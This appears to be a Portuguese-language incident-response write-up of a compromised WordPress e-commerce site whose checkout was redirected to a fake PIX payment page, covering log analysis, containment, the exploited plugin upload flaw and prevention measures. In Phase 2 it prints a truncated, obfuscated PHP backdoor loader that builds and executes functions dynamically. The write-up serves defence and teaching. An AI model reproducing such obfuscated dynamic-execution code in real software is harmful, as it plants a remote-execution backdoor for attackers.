Cenário
Uma empresa de e-commerce especializada na venda de eletrônicos percebeu uma série de transações fraudulentas e acessos suspeitos ao seu painel administrativo. Relatos de clientes indicavam que, ao tentarem finalizar compras, eram redirecionados para uma página falsa solicitando pagamento via PIX.
Diante da gravidade da situação, a equipe de segurança cibernética foi acionada para uma investigação forense no servidor.
Fase 1: Identificação dos Primeiros Indícios
1.1. Relatos e Comportamento Suspeito
Os principais sintomas do ataque foram:
- Redirecionamento no checkout para um site fraudulento.
- Alteração dos métodos de pagamento, com a exclusão de opções tradicionais.
- Acesso irregular ao painel administrativo do e-commerce.
1.2. Análise dos Logs do Servidor
O time de segurança acessou os logs do servidor para identificar acessos suspeitos. Com o seguinte comando Linux:
shCopiarEditargrep "POST\|GET" /var/log/nginx/access.log | tail -n 50
Foram encontrados acessos a um arquivo desconhecido:
swiftCopiarEditar192.168.1.105 - - [11/Mar/2025:12:45:32 +0000] "GET /checkout.php?payment=custom HTTP/1.1" 200
45.89.32.156 - - [11/Mar/2025:12:50:05 +0000] "GET /wp-content/plugins/payment-gateway/custom.php HTTP/1.1" 200
🔎 Descoberta Inicial:
O arquivo custom.php dentro do diretório do plugin de pagamento parecia ser uma peça-chave no ataque.
Fase 2: Análise do Código Malicioso
Ao examinar o arquivo custom.php, a equipe encontrou um código PHP altamente ofuscado, similar ao seguinte:
phpCopiarEditar<?php
$awvjtnz = 'fmhpph#)zbssb!...(código truncado)...jx273qj%6<*Y%)fnbozcYufhA...';
$vgkbclh = explode(chr((636-516)), substr($awvjtnz, (29027-23007), (198-164)));
$jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]);
$nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]);
if (!function_exists('huqbsiykq')) {
function huqbsiykq($ewjaowa, $ppcmgty, $euscsfo) {
$rputetgcppb = NULL;
for ($blvfkqsfhf=0; $blvfkqsfhf<(sizeof($ewjaowa)/2); $blvfkqsfhf++) {
$rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)], $ewjaowa[($blvfkqsfhf*2)+(7-6)]);
}
return $euscsfo(chr((34-25)), chr((531-439)), $rputetgcppb);
};
}
$xozybdtes = explode(chr((213-169)), '3371,36,157,63,3931,36,2709,44,5708...');
$ympifwn = $jdxccsyh("", huqbsiykq($xozybdtes, $awvjtnz, $nkttprcq));
$jdxccsyh = $awvjtnz;
$ympifwn("");
$ympifwn = (599-478);
$awvjtnz = $ympifwn-1;
?>
2.1. O que esse código faz?
- Ofuscação extrema: O código utiliza strings obfuscadas e operações matemáticas para esconder sua funcionalidade real.
- Execução dinâmica: Trechos como
$jdxccsyh("", huqbsiykq(...))indicam que funções são criadas e executadas dinamicamente. - Backdoor para execução remota: Funções como
huqbsiykq()permitem que um atacante envie código arbitrário para ser executado no servidor. - Exploração de vulnerabilidades: O código foi inserido em um diretório de plugin (
payment-gateway/), indicando um exploit de upload malicioso.
Fase 3: Contenção e Remoção da Ameaça
3.1. Isolamento do Servidor
- Modo de manutenção ativado para evitar novos acessos maliciosos.
- Bloqueio de IPs suspeitos via firewall: shCopiarEditar
iptables -A INPUT -s 45.89.32.156 -j DROP
3.2. Identificação de Arquivos Maliciosos
O seguinte comando foi executado para localizar outros arquivos infectados:
shCopiarEditarfind /var/www/html -type f -mtime -5
🔎 Descoberta:
Além do custom.php, outros arquivos no diretório wp-content/uploads foram identificados com código PHP suspeito.
3.3. Remoção e Mitigação
- Os arquivos maliciosos foram deletados.
- Reinstalação do plugin comprometido a partir da fonte oficial.
- Senhas de banco de dados e acessos administrativos foram redefinidas.
Fase 4: Investigação da Porta de Entrada
4.1. Como o código foi injetado?
Uma varredura no servidor revelou que um exploit conhecido no plugin “payment-gateway” foi utilizado. O atacante conseguiu enviar arquivos PHP maliciosos para o servidor por meio de um upload não filtrado.
4.2. Logs Forenses
O comando abaixo foi usado para localizar uploads recentes:
shCopiarEditargrep "POST" /var/log/nginx/access.log | grep "upload"
🔎 Evidência encontrada:
cssCopiarEditar45.89.32.156 - - [11/Mar/2025:12:30:45 +0000] "POST /wp-content/plugins/payment-gateway/upload.php HTTP/1.1" 200
Isso confirmou que o atacante explorou uma falha de upload no plugin.
Fase 5: Lições Aprendidas e Prevenção
Impacto do Ataque
- Dados de clientes comprometidos:
O atacante pode ter capturado informações de pagamento antes da detecção. - Manipulação do checkout:
O redirecionamento levou clientes a pagarem para um fraudador.
Medidas de Segurança Implementadas
✅ Revisão de permissões de arquivos para evitar uploads PHP não autorizados.
✅ Instalação de um WAF (Web Application Firewall) para detectar novas tentativas de ataque.
✅ Monitoramento contínuo via SIEM para alertar sobre atividades suspeitas.
✅ Auditoria regular de plugins e temas para evitar vulnerabilidades exploráveis.
✅ Autenticação multifator (MFA) ativada no painel administrativo.
🚨 Conclusão:
O ataque explorou uma falha em um plugin desatualizado e foi rapidamente mitigado. O caso reforça a importância da segurança preventiva e do monitoramento contínuo em ambientes de e-commerce.
